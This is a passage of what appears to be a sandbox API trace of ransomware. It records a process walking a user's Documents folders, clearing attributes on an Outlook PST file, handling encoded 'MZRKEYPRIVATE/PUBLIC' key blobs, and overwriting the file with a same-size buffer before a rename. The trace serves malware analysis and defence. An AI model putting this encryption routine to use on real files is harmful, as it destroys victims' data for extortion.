(in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9315ee60, ftCreationTime.dwHighDateTime=0x1d564f9, ftLastAccessTime.dwLowDateTime=0xf84f3330, ftLastAccessTime.dwHighDateTime=0x1d5a4ba, ftLastWriteTime.dwLowDateTime=0x8ea0515f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x12df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m_JbGT.docx.MZ173801", cAlternateFileName="M_JBGT~1.MZ1")) returned 1 [0171.604] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.604] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x5ee892ad, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x5ee892ad, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0171.604] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.604] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.604] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x5ee892ad, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x67d00605, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0171.605] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x5ee892ad, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x67d00605, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0171.605] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x67d00605, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0171.605] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0171.605] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.605] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x67d00605, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x42400)) returned 1 [0171.605] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst")) returned 0x2020 [0171.605] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", dwFileAttributes=0x80) returned 1 [0171.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.609] GetCurrentThreadId () returned 0xab4 [0171.609] GetCurrentThreadId () returned 0xab4 [0171.609] GetCurrentThreadId () returned 0xab4 [0171.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.610] GetCurrentThreadId () returned 0xab4 [0171.610] GetCurrentThreadId () returned 0xab4 [0171.610] GetCurrentThreadId () returned 0xab4 [0171.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0171.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0171.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0171.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x42400 [0171.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0171.610] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe60000 [0171.611] ReadFile (in: hFile=0x2f8, lpBuffer=0x7fe60010, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x7fe60010*, lpNumberOfBytesRead=0x19f74c*=0x42400, lpOverlapped=0x0) returned 1 [0171.628] CloseHandle (hObject=0x2f8) returned 1 [0171.628] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe10000 [0171.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0171.756] WriteFile (in: hFile=0x2f8, lpBuffer=0x7fe10010*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x7fe10010*, lpNumberOfBytesWritten=0x19f758*=0x42400, lpOverlapped=0x0) returned 1 [0171.762] CloseHandle (hObject=0x2f8) returned 1 [0171.762] MoveFileW 